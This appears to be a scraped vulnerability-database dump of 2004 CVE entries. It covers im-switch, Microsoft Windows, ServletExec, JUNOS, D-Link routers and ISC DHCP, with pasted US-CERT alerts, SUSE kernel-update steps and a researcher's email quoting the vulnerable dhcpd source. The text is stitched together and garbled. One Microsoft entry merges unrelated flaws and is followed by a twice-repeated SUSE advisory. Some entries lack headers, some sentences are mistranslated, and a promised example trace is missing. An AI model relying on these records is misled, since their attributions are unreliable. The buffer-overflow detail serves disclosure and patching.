VAR-200412-0228 | CVE-2004-2502 | IM-Switch Unsafe Temporary File Handling Vulnerability |
CVSS V2: 2.1 CVSS V3: - Severity: LOW |
im-switch before 11.4-46.1 in Fedora Core 2 allows local users to overwrite arbitrary files via a symlink attack on the imswitcher[PID] temporary file. It is reported that im-switch is prone to a local insecure temporary file handling symbolic link vulnerability.
The im-switch utility will write to this temporary file before verifying its existence; this would facilitate a symbolic link attack.
An attacker may exploit this issue to corrupt arbitrary files. This corruption may potentially result in the elevation of privileges, or in a system wide denial of service. Fedora Core is a Linux system distributed by RedHat. \'\'/usr/bin/im-switch\'\'use \"/tmp/imswitcher$$\" as a temporary file, but because the /tmp/ directory is writable and $$(PID) can be cloud-registered, Therefore, attackers can use symbolic links to destroy important files in the system, which may cause privilege escalation
VAR-200408-0134 | CVE-2004-0205 | Microsoft Windows contains a buffer overflow in the POSIX subsystem |
CVSS V2: 7.2 CVSS V3: - Severity: HIGH |
Buffer overflow in Microsoft Internet Information Server (IIS) 4.0 allows local users to execute arbitrary code via the redirect function. A buffer overflow vulnerability exists in the Portable Operating System Interface for UNIX (POSIX) subsystem for Windows NT 4.0 and Windows 2000. This vulnerability may be exploited by a local authenticated user to gain full system privileges. The Microsoft Windows 2000 Utility Manager allows authenticated local users to launch applications with SYSTEM privileges. Microsoft Windows contains a remote code execution vulnerability in the way that the Windows Shell launches applications. An remote attacker could exploit this vulnerability to execute arbitrary code if they could trick a user into visiting a malicious website. Microsoft IIS 4.0 is reported prone to a buffer overflow vulnerability when handling redirects. This could lead to complete compromise of an affected computer.

Systems Affected
* Microsoft Windows Systems
Overview
Microsoft has released a Security Bulletin Summary for July, 2004.
This summary includes several bulletins that address vulnerabilities
in various Windows applications and components. Details of the vulnerabilities and their impacts
are provided below.
I. Description
The table below provides a reference between Microsoft's Security
Bulletins and the related US-CERT Vulnerability Notes. More
information related to the vulnerabilities is available in these
documents. The attacker would have to convince a victim to
view an HTML document (web page, HTML email) or click on a crafted URI
link.
Exploitation of VU#869640 can lead to a denial-of-service condition
against Outlook Express.
III. Solution
Apply a patch
Microsoft has provided the patches for these vulnerabilities in the
Security Bulletins and on Windows Update.
Do not follow unsolicited links
It is generally a good practice not to click on unsolicited URLs
received in email, instant messages, web forums, or Internet relay
chat (IRC) channels. However, this practice does not always prevent
exploitation of these types vulnerabilities. For example, a trusted
web site could be compromised and modified to deliver exploit script
to unsuspecting clients.
Maintain updated anti-virus software
Anti-virus software with updated virus definitions may identify and
prevent some exploit attempts, but variations of exploits or attack
vectors may not be detected. Do not rely solely on anti-virus software
to defend against these vulnerabilities. More information about
viruses and anti-virus vendors is available on the US-CERT Computer
Virus Resources page.
Appendix A. Vendor Information
Specific information about these issue are available in the Security
Bulletin Summary for July, 2004 and the US-CERT Vulnerability Notes.

1) problem description, brief discussion, solution, upgrade information
Multiple security vulnerabilities are being addressed with this security
update of the Linux kernel.
Kernel memory access vulnerabilities are fixed in the e1000, decnet,
acpi_asus, alsa, airo/WLAN, pss and mpu401 drivers.
Missing Discretionary Access Control (DAC) checks in the chown(2) system
call allow an attacker with a local account to change the group
ownership of arbitrary files, which leads to root privileges on affected
systems. An interesting variant of the missing
checks is that the ownership of files in the /proc filesystem can be
altered, while the changed ownership still does not allow the files to
be accessed as a non-root user for to be able to exploit the
vulnerability. Systems that are based on a version 2.4 kernel are not
vulnerable to the /proc weakness, and exploitation of the weakness
requires the use of the kernel NFS server (knfsd). If the knfsd NFS
server is not activated (it is off by default), the vulnerability is
not exposed.
The only network-related vulnerability fixed with the kernel updates
that are subject to this announcement affect the SUSE Linux 9.1
distribution only, as it is based on a 2.6 kernel. Found and reported
to bugtraq by Adam Osuchowski and Tomasz Dubinski, the vulnerability
allows a remote attacker to send a specially crafted TCP packet to a
vulnerable system, causing that system to stall if it makes use of
TCP option matching netfilter rules.
In some rare configurations of the SUSE Linux 9.1 distribution, some
users have experienced stalling systems during system startup.
SPECIAL INSTALL INSTRUCTIONS:
==============================
For the impatient: Run YOU (Yast2 Online Update, command
"yast2 online_update" as root) to install the updates (semi)
automatically, if you have a SUSE Linux 8.1 and newer system.
For those who wish to install their kernel updates manually and for
those who use a SUSE Linux 8.0 system:
The following paragraphs will guide you through the installation
process in a step-by-step fashion. The character sequence "****"
marks the beginning of a new paragraph. In some cases, the steps
outlined in a particular paragraph may or may not be applicable
to your situation.
Therefore, please make sure to read through all of the steps below
before attempting any of these procedures.
All of the commands that need to be executed are required to be
run as the superuser (root). Each step relies on the steps before
it to complete successfully.
**** Step 1: Determine the needed kernel type
Please use the following command to find the kernel type that is
installed on your system:
rpm -qf /boot/vmlinuz
Following are the possible kernel types (disregard the version and
build number following the name separated by the "-" character)
k_deflt # default kernel, good for most systems.
k_i386 # kernel for older processors and chipsets
k_athlon # kernel made specifically for AMD Athlon(tm) family processors
k_psmp # kernel for Pentium-I dual processor systems
k_smp # kernel for SMP systems (Pentium-II and above)
k_smp4G # kernel for SMP systems which supports a maximum of 4G of RAM
kernel-64k-pagesize
kernel-bigsmp
kernel-default
kernel-smp
**** Step 2: Download the package for your system
Please download the kernel RPM package for your distribution with the
name as indicated by Step 1. The list of all kernel rpm packages is
appended below. Note: The kernel-source package does not
contain a binary kernel in bootable form. Instead, it contains the
sources that the binary kernel rpm packages are created from. It can be
used by administrators who have decided to build their own kernel.
Since the kernel-source.rpm is an installable (compiled) package that
contains sources for the linux kernel, it is not the source RPM for
the kernel RPM binary packages.
The kernel RPM binary packages for the distributions can be found at the
locations below ftp://ftp.suse.com/pub/suse/i386/update/.
8.0/images/
8.1/rpm/i586
8.2/rpm/i586
9.0/rpm/i586
9.1/rpm/i586
After downloading the kernel RPM package for your system, you should
verify the authenticity of the kernel rpm package using the methods as
listed in section 3) of each SUSE Security Announcement.
**** Step 3: Installing your kernel rpm package
Install the rpm package that you have downloaded in Steps 3 or 4 with
the command
rpm -Uhv --nodeps --force <K_FILE.RPM>
where <K_FILE.RPM> is the name of the rpm package that you downloaded.
Warning: After performing this step, your system will likely not be
able to boot if the following steps have not been fully
followed.
If you run SUSE LINUX 8.1 and haven't applied the kernel update
(SUSE-SA:2003:034), AND you are using the freeswan package, you also
need to update the freeswan rpm as a dependency as offered
by YOU (YaST Online Update). The package can be downloaded from
ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/
**** Step 4: configuring and creating the initrd
The initrd is a ramdisk that is loaded into the memory of your
system together with the kernel boot image by the bootloader. The
kernel uses the content of this ramdisk to execute commands that must
be run before the kernel can mount its actual root filesystem. It is
usually used to initialize SCSI drivers or NIC drivers for diskless
operation.
The variable INITRD_MODULES in /etc/sysconfig/kernel determines
which kernel modules will be loaded in the initrd before the kernel
has mounted its actual root filesystem. The variable should contain
your SCSI adapter (if any) or filesystem driver modules.
With the installation of the new kernel, the initrd has to be
re-packed with the update kernel modules. Please run the command
mk_initrd
as root to create a new init ramdisk (initrd) for your system.
On SuSE Linux 8.1 and later, this is done automatically when the
RPM is installed.
**** Step 5: bootloader
If you run a SUSE LINUX 8.x, SLES8, or SUSE LINUX 9.x system, there
are two options:
Depending on your software configuration, you have either the lilo
bootloader or the grub bootloader installed and initialized on your
system.
The grub bootloader does not require any further actions to be
performed after the new kernel images have been moved in place by the
rpm Update command.
If you have a lilo bootloader installed and initialized, then the lilo
program must be run as root. Use the command
grep LOADER_TYPE /etc/sysconfig/bootloader
to find out which boot loader is configured. If it is lilo, then you
must run the lilo command as root. If grub is listed, then your system
does not require any bootloader initialization.
Warning: An improperly installed bootloader may render your system
unbootable.
**** Step 6: reboot
If all of the steps above have been successfully completed on your
system, then the new kernel including the kernel modules and the
initrd should be ready to boot. The system needs to be rebooted for
the changes to become active. Please make sure that all steps have
completed, then reboot using the command
shutdown -r now
or
init 6
Your system should now shut down and reboot with the new kernel.
There is no workaround known.
Please download the update package for your distribution and verify its
integrity by the methods listed in section 3) of this announcement.
Then, install the package using the command "rpm -Fhv file.rpm" to apply
the update.
Our maintenance customers are being notified individually. The packages
are being offered to install from the maintenance web.

3) standard appendix: authenticity verification, additional information
- Package authenticity verification:
SUSE update packages are available on many mirror ftp servers around
the world. While this service is considered valuable and important
to the free and open source software community, many users wish to be
certain as to be the origin of the package and its content before
installing the package. There are two independent verification methods
that can be used to prove the authenticity of a downloaded file or
rpm package:
1) md5sums as provided in the (cryptographically signed) announcement.
2) using the internal gpg signatures of the rpm package.
1) execute the command
md5sum <name-of-the-file.rpm>
after you have downloaded the file from a SUSE ftp server or its
mirrors. Then, compare the resulting md5sum with the one that is
listed in the announcement. Since the announcement containing the
checksums is cryptographically signed (usually using the key
security@suse.de), the checksums offer proof of the authenticity
of the package.
We recommend against subscribing to security lists which cause the
email message containing the announcement to be modified so that
the signature does not match after transport through the mailing
list software.
Downsides: You must be able to verify the authenticity of the
announcement in the first place. If RPM packages are being rebuilt
and a new version of a package is published on the ftp server, all
md5 sums for the files are useless.
2) rpm package signatures provide an easy way to verify the authenticity
of an rpm package. Use the command
rpm -v --checksig <file.rpm>
to verify the signature of the package, where <file.rpm> is the
filename of the rpm package that you have downloaded. Of course,
package authenticity verification can only target an un-installed rpm
package file.
Prerequisites:
a) gpg is installed
b) The package is signed using a certain key. The public part of this
key must be installed by the gpg program in the directory
~/.gnupg/ under the user's home directory who performs the
signature verification (usually root). You can import the key
that is used by SUSE in rpm packages for SUSE Linux by saving
this announcement to a file ("announcement.txt") and

______________________________________________________________________________
1) problem description, brief discussion, solution, upgrade information
Multiple security vulnerabilities are being addressed with this security
update of the Linux kernel.
Kernel memory access vulnerabilities are fixed in the e1000, decnet,
acpi_asus, alsa, airo/WLAN, pss and mpu401 drivers. These
vulnerabilities can lead to kernel memory read access, write access
and local denial of service conditions, resulting in access to the
root account for an attacker with a local account on the affected
system.
Missing Discretionary Access Control (DAC) checks in the chown(2) system
call allow an attacker with a local account to change the group
ownership of arbitrary files, which leads to root privileges on affected
systems. It is specific to kernel version 2.6 based systems such as
the SUSE Linux 9.1 product, that only local shell access is needed to
exploit this vulnerability. An interesting variant of the missing
checks is that the ownership of files in the /proc filesystem can be
altered, while the changed ownership still does not allow the files to
be accessed as a non-root user for to be able to exploit the
vulnerability. If the knfsd NFS
server is not activated (it is off by default), the vulnerability is
not exposed. These issues related to the chown(2) system call have been
discovered by Michael Schroeder and Ruediger Oertel, both SUSE LINUX.
The only network-related vulnerability fixed with the kernel updates
that are subject to this announcement affect the SUSE Linux 9.1
distribution only, as it is based on a 2.6 kernel. Found and reported
to bugtraq by Adam Osuchowski and Tomasz Dubinski, the vulnerability
allows a remote attacker to send a specially crafted TCP packet to a
vulnerable system, causing that system to stall if it makes use of
TCP option matching netfilter rules.
In some rare configurations of the SUSE Linux 9.1 distribution, some
users have experienced stalling systems during system startup. These
problems are fixed with this kernel update.
SPECIAL INSTALL INSTRUCTIONS:
==============================
For the impatient: Run YOU (Yast2 Online Update, command
"yast2 online_update" as root) to install the updates (semi)
automatically, if you have a SUSE Linux 8.1 and newer system.
For those who wish to install their kernel updates manually and for
those who use a SUSE Linux 8.0 system:
The following paragraphs will guide you through the installation
process in a step-by-step fashion. The character sequence "****"
marks the beginning of a new paragraph. In some cases, the steps
outlined in a particular paragraph may or may not be applicable
to your situation.
Therefore, please make sure to read through all of the steps below
before attempting any of these procedures.
All of the commands that need to be executed are required to be
run as the superuser (root). Each step relies on the steps before
it to complete successfully.
**** Step 1: Determine the needed kernel type
Please use the following command to find the kernel type that is
installed on your system:
rpm -qf /boot/vmlinuz
Following are the possible kernel types (disregard the version and
build number following the name separated by the "-" character)
k_deflt # default kernel, good for most systems.
k_i386 # kernel for older processors and chipsets
k_athlon # kernel made specifically for AMD Athlon(tm) family processors
k_psmp # kernel for Pentium-I dual processor systems
k_smp # kernel for SMP systems (Pentium-II and above)
k_smp4G # kernel for SMP systems which supports a maximum of 4G of RAM
kernel-64k-pagesize
kernel-bigsmp
kernel-default
kernel-smp
**** Step 2: Download the package for your system
Please download the kernel RPM package for your distribution with the
name as indicated by Step 1. The list of all kernel rpm packages is
appended below. Note: The kernel-source package does not
contain a binary kernel in bootable form. Instead, it contains the
sources that the binary kernel rpm packages are created from. It can be
used by administrators who have decided to build their own kernel.
Since the kernel-source.rpm is an installable (compiled) package that
contains sources for the linux kernel, it is not the source RPM for
the kernel RPM binary packages.
The kernel RPM binary packages for the distributions can be found at the
locations below ftp://ftp.suse.com/pub/suse/i386/update/.
8.0/images/
8.1/rpm/i586
8.2/rpm/i586
9.0/rpm/i586
9.1/rpm/i586
After downloading the kernel RPM package for your system, you should
verify the authenticity of the kernel rpm package using the methods as
listed in section 3) of each SUSE Security Announcement.
**** Step 3: Installing your kernel rpm package
Install the rpm package that you have downloaded in Steps 3 or 4 with
the command
rpm -Uhv --nodeps --force <K_FILE.RPM>
where <K_FILE.RPM> is the name of the rpm package that you downloaded.
Warning: After performing this step, your system will likely not be
able to boot if the following steps have not been fully
followed.
If you run SUSE LINUX 8.1 and haven't applied the kernel update
(SUSE-SA:2003:034), AND you are using the freeswan package, you also
need to update the freeswan rpm as a dependency as offered
by YOU (YaST Online Update). The package can be downloaded from
ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/
**** Step 4: configuring and creating the initrd
The initrd is a ramdisk that is loaded into the memory of your
system together with the kernel boot image by the bootloader. The
kernel uses the content of this ramdisk to execute commands that must
be run before the kernel can mount its actual root filesystem. It is
usually used to initialize SCSI drivers or NIC drivers for diskless
operation.
The variable INITRD_MODULES in /etc/sysconfig/kernel determines
which kernel modules will be loaded in the initrd before the kernel
has mounted its actual root filesystem. The variable should contain
your SCSI adapter (if any) or filesystem driver modules.
With the installation of the new kernel, the initrd has to be
re-packed with the update kernel modules. Please run the command
mk_initrd
as root to create a new init ramdisk (initrd) for your system.
On SuSE Linux 8.1 and later, this is done automatically when the
RPM is installed.
**** Step 5: bootloader
If you run a SUSE LINUX 8.x, SLES8, or SUSE LINUX 9.x system, there
are two options:
Depending on your software configuration, you have either the lilo
bootloader or the grub bootloader installed and initialized on your
system.
The grub bootloader does not require any further actions to be
performed after the new kernel images have been moved in place by the
rpm Update command.
If you have a lilo bootloader installed and initialized, then the lilo
program must be run as root. Use the command
grep LOADER_TYPE /etc/sysconfig/bootloader
to find out which boot loader is configured. If it is lilo, then you
must run the lilo command as root. If grub is listed, then your system
does not require any bootloader initialization.
Warning: An improperly installed bootloader may render your system
unbootable.
**** Step 6: reboot
If all of the steps above have been successfully completed on your
system, then the new kernel including the kernel modules and the
initrd should be ready to boot. The system needs to be rebooted for
the changes to become active. Please make sure that all steps have
completed, then reboot using the command
shutdown -r now
or
init 6
Your system should now shut down and reboot with the new kernel.
There is no workaround known.
Please download the update package for your distribution and verify its
integrity by the methods listed in section 3) of this announcement.
Then, install the package using the command "rpm -Fhv file.rpm" to apply
the update.
Our maintenance customers are being notified individually. The packages
are being offered to install from the maintenance web.

2) Pending vulnerabilities in SUSE Distributions and Workarounds:
- icecast
The icecast service is vulnerable to a remote denial-of-service
attack. Update packages will be available soon.
- sitecopy
The sitecopy package includes a vulnerable version of the
neon library (CAN-2004-0179, CAN-2004-0398). Update packages will be
available soon.
- cadaver
The cadaver package includes a vulnerable version of the
neon library (CAN-2004-0179, CAN-2004-0398). Update packages will be
available soon.
- OpenOffice_org
The OpenOffice_org package includes a vulnerable version
of the neon library (CAN-2004-0179, CAN-2004-0398). Update packages
will be available soon.
- tripwire
A format string bug in tripwire can be exploited locally
to gain root permissions.
New packages are available.
- postgresql
A buffer overflow in psqlODBC could be exploited to crash the
application using it. E.g. a PHP script that uses ODBC to access a
PostgreSQL database can be utilized to crash the surrounding Apache
web-server. Other parts of PostgreSQL are not affected.
New packages are available.
- XDM/XFree86
This update resolves random listening to ports by XDM
that allows to connect via the XDMCP. SUSE LINUX 9.1
is affected only.
New packages are available.
- mod_proxy
A buffer overflow can be triggered by malicious remote
servers that return a negative Content-Length value.
This vulnerability can be used to execute commands remotely
New packages are available.
- freeswan
A bug in the certificate chain authentication code could allow an
attacker to authenticate any host against a FreeS/WAN server by
presenting specially crafted certificates wrapped in a PKCS#7 file.
The packages are currently being tested and will be available soon.
- ipsec-tools
The racoon daemon which is responsible for handling IKE messages
fails to reject invalid or self-signed X.509 certificates which
allows for man-in-the-middle attacks on IPsec tunnels established
via racoon.
The packages are currently being tested and will be available soon.
- less
This update fixes a possible symlink attack in lessopen.sh. The
attack can be executed by local users to overwrite arbitrary files
with the privileges of the user running less.
New packages are available.
- libpng
This update adds a missing fix for CAN-2002-1363.
New packages are available.
- pavuk
This update fixes a remotely exploitable buffer overflow in pavuk.
Thanks to Ulf Harnhammar for reporting this to us.
New packages are available.
- kdebase3
This update fixes a possible attack on tmp files created at the
first login of a user using KDE or at the first time running a
KDE application. This bug can be exploited locally to overwrite
arbitrary files with the privilege of the victim user.
Just affects SUSE LINUX 9.1
New packages are available.

3) standard appendix: authenticity verification, additional information
- Package authenticity verification:
SUSE update packages are available on many mirror ftp servers around
the world. While this service is considered valuable and important
to the free and open source software community, many users wish to be
certain as to be the origin of the package and its content before
installing the package. There are two independent verification methods
that can be used to prove the authenticity of a downloaded file or
rpm package:
1) md5sums as provided in the (cryptographically signed) announcement.
2) using the internal gpg signatures of the rpm package.
1) execute the command
md5sum <name-of-the-file.rpm>
after you have downloaded the file from a SUSE ftp server or its
mirrors. Then, compare the resulting md5sum with the one that is
listed in the announcement. Since the announcement containing the
checksums is cryptographically signed (usually using the key
security@suse.de), the checksums offer proof of the authenticity
of the package.
We recommend against subscribing to security lists which cause the
email message containing the announcement to be modified so that
the signature does not match after transport through the mailing
list software.
Downsides: You must be able to verify the authenticity of the
announcement in the first place. If RPM packages are being rebuilt
and a new version of a package is published on the ftp server, all
md5 sums for the files are useless.
2) rpm package signatures provide an easy way to verify the authenticity
of an rpm package. Use the command
rpm -v --checksig <file.rpm>
to verify the signature of the package, where <file.rpm> is the
filename of the rpm package that you have downloaded. Of course,
package authenticity verification can only target an un-installed rpm
package file.
Prerequisites:
a) gpg is installed
b) The package is signed using a certain key. The public part of this
key must be installed by the gpg program in the directory
~/.gnupg/ under the user's home directory who performs the
signature verification (usually root). You can import the key
that is used by SUSE in rpm packages for SUSE Linux by saving
this announcement to a file ("announcement.txt") and
running the command (do "su -" to be root):
gpg --batch; gpg < announcement.txt | gpg --import
SUSE Linux distributions version 7.1 and thereafter install the
key "build@suse.de" upon installation or upgrade, provided that
the package gpg is installed. The file containing the public key
is placed at the top-level directory of the first CD (pubring.gpg)
and at ftp://ftp.suse.com/pub/suse/pubring.gpg-build.suse.de .

VAR-200408-0057 | CVE-2004-0650 | New Atlanta ServletExec Unauthorized Access Vulnerability |
CVSS V2: 10.0 CVSS V3: - Severity: HIGH |
UploadServlet in Cisco Collaboration Server (CCS) running ServletExec before 3.0E allows remote attackers to upload and execute arbitrary files via a direct call to the UploadServlet URL. It has been reported that New Atlanta ServletExec is affected by an unauthorized access vulnerability; fixes are available. This issue is due to an access validation error.
This issue would allow an attacker to upload and execute files on the affected computer, facilitating unauthorized interactive access as well as other attacks. This issue might also be leveraged to cause a denial of service condition in the affected server
VAR-200412-0097 | CVE-2004-0468 | Juniper JUNOS Packet Forwarding Engine (PFE) IPv6 memory leak |
CVSS V2: 5.0 CVSS V3: - Severity: MEDIUM |
Memory leak in Juniper JUNOS Packet Forwarding Engine (PFE) allows remote attackers to cause a denial of service (memory exhaustion and device reboot) via certain IPv6 packets. If an attacker submits multiple packets to a vulnerable router running IPv6-enabled PFE, the router can be repeatedly rebooted, essentially creating a denial of service for the router. Juniper Networks Junos OS Exists in unspecified vulnerabilities.None. All Juniper Networks M-series and T-series routing platforms with IPv6 support are also prone to this issue. The operating system provides a secure programming interface and Junos SDK. Remote attackers can use this vulnerability to carry out denial-of-service attacks on routers running JUNOS devices.
This can be exploited by sending multiple specially crafted IPv6
packets to a vulnerable network device.
Successful exploitation consumes all available memory and causes a
vulnerable network device to reboot.
SOLUTION:
A solution is available at:
https://www.juniper.net/alerts/viewalert.jsp?txtAlertNumber=PSN-2004-06-009&actionBtn=Search
Disable IPv6 support in the PFE.

CVSS V2: 5.0 CVSS V3: - Severity: MEDIUM |
Integer signedness error in D-Link AirPlus DI-614+ running firmware 2.30 and earlier allows remote attackers to cause a denial of service (IP lease depletion) via a DHCP request with the LEASETIME option set to -1, which makes the DHCP lease valid for thirteen or more years. D-Link AirPlus DI-614 + and DI-604 are SOHO broadband routers.
D-Link AirPlus DI-614 + and DI-604 do not properly handle a large number of DHCP requests. Remote attackers can use this vulnerability to conduct denial of service attacks on devices.
Sending a large number of legitimate DHCP requests can cause the device to consume a lot of memory and needs to be restarted for normal service.
An attacker may be able to deny service to legitimate users of an affected device by repeatedly causing the device to reboot.
The DI-614+ with firmware revision 2.30, and the DI-604 with unknown firmware were reported vulnerable. The DI-624 Revision B was also confirmed susceptible

CVSS V2: 10.0 CVSS V3: - Severity: HIGH |
Buffer overflow in the logging capability for the DHCP daemon (DHCPD) for ISC DHCP 3.0.1rc12 and 3.0.1rc13 allows remote attackers to cause a denial of service (server crash) and possibly execute arbitrary code via multiple hostname options in (1) DISCOVER, (2) OFFER, (3) REQUEST, (4) ACK, or (5) NAK messages, which can generate a long string when writing to a log file. The Internet Systems Consortium's (ISC) Dynamic Host Configuration Protocol (DHCP) 3 application contains a buffer overflow vulnerability. Infoblox of dns one appliance Unspecified vulnerabilities exist in products from multiple vendors.None. This issue exists in routines responsible for logging hostname options provided by DHCP clients.
This issue is reported to affect ISC DHCPD versions 3.0.1rc12 and 3.0.1rc13. The vulnerable code exists in previous versions of ISC DHCPD 3, but is only believed to be exploitable in these two releases. ISC DHCPD uses syslog to record each transmitted DHCP packet, client's DISCOVER and result OFFER, REQUEST and ACK, and any NAK will be recorded. middle. However, if non-ACSII or non-printable characters are provided, other checks and filters will be performed to prevent overflow. Carefully constructed and submitted data may execute arbitrary commands on the system with the rights of the DHCPD process.

Technical Cyber Security Alert TA04-174A
Multiple Vulnerabilities in ISC DHCP 3
Original release date: June 22, 2004
Last revised: --
Source: US-CERT
Systems Affected
* ISC DHCP versions 3.0.1rc12 and 3.0.1rc13
Overview
Two vulnerabilities in the ISC DHCP allow a remote attacker to cause a
denial of the DHCP service on a vulnerable system. It may be possible
to exploit these vulnerabilities to execute arbitrary code on the
system.
I. In transactions, ISC DHCPD logs every DHCP
packet along with several pieces of descriptive information. The
client's DISCOVER and the resulting OFFER, REQUEST, ACK, and NAKs are
all logged. In all of these messages, if the client supplied a
hostname, then it is also included in the logged line. These options are concatenated by the
server. If the hostname and options contain only ASCII characters,
then the string will pass non-ASCII character filters and be
temporarily stored in 1024 byte fixed-length buffers on the stack. If
a client supplies enough hostname options, it is possible to overflow
the fixed-length buffer.
VU#654390 discusses C include files for systems that do not support
the bounds checking vsnprintf() function. These files define the
bounds checking vsnprintf() to the non-bounds checking vsprintf()
function. Since vsprintf() is a function that does not check bounds,
the size is discarded, creating the potential for a buffer overflow
when client data is supplied. Note that the vsnprintf() statements are
defined after the vulnerable code that is discussed in VU#317350.
Since the preconditions for this vulnerability are similar to those
required to exploit VU#317350, these buffer overflow conditions occur
sequentially in the code after the buffer overflow vulnerability
discussed in VU#317350, and these issues were discovered and resolved
at the same time, there is no known exploit path to exploit these
buffer overflow conditions caused by VU#654390. Note that VU#654390
was discovered and exploitable once VU#317350 was resolved. VU#317350 is exploitable for
all operating systems and configurations. VU#654390 is only defined
for the following operating systems:
* AIX
* AlphaOS
* Cygwin32
* HP-UX
* Irix
* Linux
* NextStep
* SCO
* SunOS 4
* SunOS 5.5
* Ultrix
All versions of ISC DCHP 3, including all snapshots, betas, and
release candidates, contain the flawed code.
US-CERT is tracking these issues as VU#317350, which has been assigned
CVE CAN-2004-0460, and VU#654390, which has been assigned CVE
CAN-2004-0461.
II.
III. Solution
Apply patches or upgrade
These issues have been resolved in ISC DHCP 3.0.1rc14. Your vendor may
provide specific patches or updates. For vendor-specific information,
please see your vendor's site, or look for your vendor infomation in
VU#317350 and VU#654390. As vendors report new information to US-CERT,
we will update the vulnerability notes.

This mail also includes a trace of such DHCP REQUEST.
Other .bss overflows related to vsnprintf and identified later during
our investigations as described in:

--- Original email ------
Summary:
i have discovered several stack based overflow in your dhcp-3.0.1rc12
and rc13 (may be others, have not checked)
these vulnerabilities can be easily triggered by crafting a dhcp
discover or request packet which carries several hostname dhcp options that
,once reassembled by the daemon (as explained in rfc 3396), overflow a
stack based variable causing the daemon to crash.
I believe than one might execute code remotely on the server with the
same user account dhcpd is running with, root in most cases.
I have been able at some points during the tests, to control eip' 4
bytes (intel 32bits arch), it was during the ddns forward update operation.
Note that all tests have been made on a linux 2.4.20-24.9 using a home
made tool to generate custom dhcp traffic
Now an example:

Note that the daemon may actually crash at a different location
depending of the first corrupted structure it meets and therefore,
of the size of the malicious option sent, along with the context (type
of packet, leases in use etc...)
Problems in the source:
I have spent quite some time to find out where the overflow actually
takes its roots, here are my findings:
file server/dhcp.c:
function dhcprequest :
char msgbuf [1024]; /* XXX */
char *s;
....
if (lease && lease -> client_hostname &&
db_printable (lease -> client_hostname))
s = lease -> client_hostname;
else
s = (char *)0;
......
sprintf (msgbuf, "DHCPREQUEST for %s%s from %s %s%s%svia %s",
piaddr (cip), smbuf,
(packet -> raw -> htype
? print_hw_addr (packet -> raw -> htype,
packet -> raw -> hlen,
packet -> raw -> chaddr)
: (lease
? print_hex_1 (lease -> uid_len, lease -> uid,
lease -> uid_len)
: "<no identifier>")),
s ? "(" : "", s ? s : "", s ? ") " : "",
packet -> raw -> giaddr.s_addr
? inet_ntoa (packet -> raw -> giaddr)
: packet -> interface -> name);
To summarize, s is referencing the reassembled hostname option passed to
the daemon, afterwhat it is used as is in sprintf and stored in msgbuf
(fixed size) without any length checking.
local msgbuf can obviously be overrun, corrupting various structures in
stack and eventually causing the server to crash
Note that the call to db_printable( ), filtering hostname, may render
the task harder to root a server but likely not impossible.
Also being able to corrupt structures like *lease or *oc may have
interesting side effects from an attacker perspective.
void dhcprequest (packet, ms_nulltp, ip_lease)
struct packet *packet;
int ms_nulltp;
struct lease *ip_lease;
{
struct lease *lease;
struct iaddr cip;
struct iaddr sip;
struct subnet *subnet;
int ours = 0;
struct option_cache *oc;
struct data_string data;
int status;
char msgbuf [1024]; /* XXX */
char *s;
char smbuf [19];
....
the very same problem is present in dhcpdiscover( ), dhcpdecline( ),
dhcprequest( ) , dhcprelease( ), ...

detailed list
VAR-200408-0175 | CVE-2004-0461 | ISC DHCP contains a stack buffer overflow vulnerability in handling log lines containing ASCII characters only |
CVSS V2: 10.0 CVSS V3: - Severity: HIGH |
The DHCP daemon (DHCPD) for ISC DHCP 3.0.1rc12 and 3.0.1rc13, when compiled in environments that do not provide the vsnprintf function, uses C include files that define vsnprintf to use the less safe vsprintf function, which can lead to buffer overflow vulnerabilities that enable a denial of service (server crash) and possibly execute arbitrary code. The Internet Systems Consortium's (ISC) Dynamic Host Configuration Protocol (DHCP) 3 application contains a buffer overflow vulnerability. As a result, you may gain administrative privileges on vulnerable systems.
On systems which lack the vsnprintf() library call, ISC DHCPD defines vsnprintf as:
#define vsnprintf(buf, size, fmt, list) vsprintf (buf, fmt, list)
This definition discards the size argument to the function, potentially allowing any occurrence of vsnprintf() to be exploitable, by overflowing whatever intended buffer is passed to the library call.
Other locations in DHCPD utilizing this function may be exploitable.
This issue is reported to affect ISC DHCPD versions 3.0.1rc12 and 3.0.1rc13. ISC DHCP calls vsnprintf() to write format log file strings.

Technical Cyber Security Alert TA04-174A
Multiple Vulnerabilities in ISC DHCP 3
Original release date: June 22, 2004
Last revised: --
Source: US-CERT
Systems Affected
* ISC DHCP versions 3.0.1rc12 and 3.0.1rc13
Overview
Two vulnerabilities in the ISC DHCP allow a remote attacker to cause a
denial of the DHCP service on a vulnerable system. It may be possible
to exploit these vulnerabilities to execute arbitrary code on the
system.
I.
VU#317350 discusses a buffer overflow vulnerability in the temporary
storage of log lines. In transactions, ISC DHCPD logs every DHCP
packet along with several pieces of descriptive information. The
client's DISCOVER and the resulting OFFER, REQUEST, ACK, and NAKs are
all logged. In all of these messages, if the client supplied a
hostname, then it is also included in the logged line. As part of the
DHCP datagram format, a client may specify multiple hostname options,
up to 255 bytes per option. These options are concatenated by the
server. If the hostname and options contain only ASCII characters,
then the string will pass non-ASCII character filters and be
temporarily stored in 1024 byte fixed-length buffers on the stack. If
a client supplies enough hostname options, it is possible to overflow
the fixed-length buffer.
VU#654390 discusses C include files for systems that do not support
the bounds checking vsnprintf() function. These files define the
bounds checking vsnprintf() to the non-bounds checking vsprintf()
function. Since vsprintf() is a function that does not check bounds,
the size is discarded, creating the potential for a buffer overflow
when client data is supplied. Note that the vsnprintf() statements are
defined after the vulnerable code that is discussed in VU#317350.
Since the preconditions for this vulnerability are similar to those
required to exploit VU#317350, these buffer overflow conditions occur
sequentially in the code after the buffer overflow vulnerability
discussed in VU#317350, and these issues were discovered and resolved
at the same time, there is no known exploit path to exploit these
buffer overflow conditions caused by VU#654390. Note that VU#654390
was discovered and exploitable once VU#317350 was resolved.
For both of the vulnerabilities, only ISC DHCP 3.0.1rc12 and ISC DHCP
3.0.1rc13 are believed to be vulnerable. VU#317350 is exploitable for
all operating systems and configurations. VU#654390 is only defined
for the following operating systems:
* AIX
* AlphaOS
* Cygwin32
* HP-UX
* Irix
* Linux
* NextStep
* SCO
* SunOS 4
* SunOS 5.5
* Ultrix
All versions of ISC DCHP 3, including all snapshots, betas, and
release candidates, contain the flawed code.
US-CERT is tracking these issues as VU#317350, which has been assigned
CVE CAN-2004-0460, and VU#654390, which has been assigned CVE
CAN-2004-0461.
II.
III. Solution
Apply patches or upgrade
These issues have been resolved in ISC DHCP 3.0.1rc14. Your vendor may
